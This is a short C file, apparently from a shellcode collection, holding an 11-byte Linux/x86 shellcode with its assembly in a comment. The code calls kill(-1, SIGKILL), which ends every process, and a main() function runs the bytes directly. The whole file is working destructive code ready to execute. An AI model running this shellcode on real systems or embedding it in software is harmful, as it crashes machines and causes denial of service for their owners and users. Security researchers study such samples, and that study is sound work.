shellcode-212.c

/* By Kris Katterjohn 11/13/2006
 *
 * 11 byte shellcode to kill all processes for Linux/x86
 *
 *
 *
 * section .text
 *
 *      global _start
 *
 * _start:
 *
 * ; kill(-1, SIGKILL)
 *
 *      push byte 37
 *      pop eax
 *      push byte -1
 *      pop ebx
 *      push byte 9
 *      pop ecx
 *      int 0x80
 */

main()
{
       char shellcode[] = "\x6a\x25\x58\x6a\xff\x5b\x6a\x09\x59\xcd\x80";

       (*(void (*)()) shellcode)();
}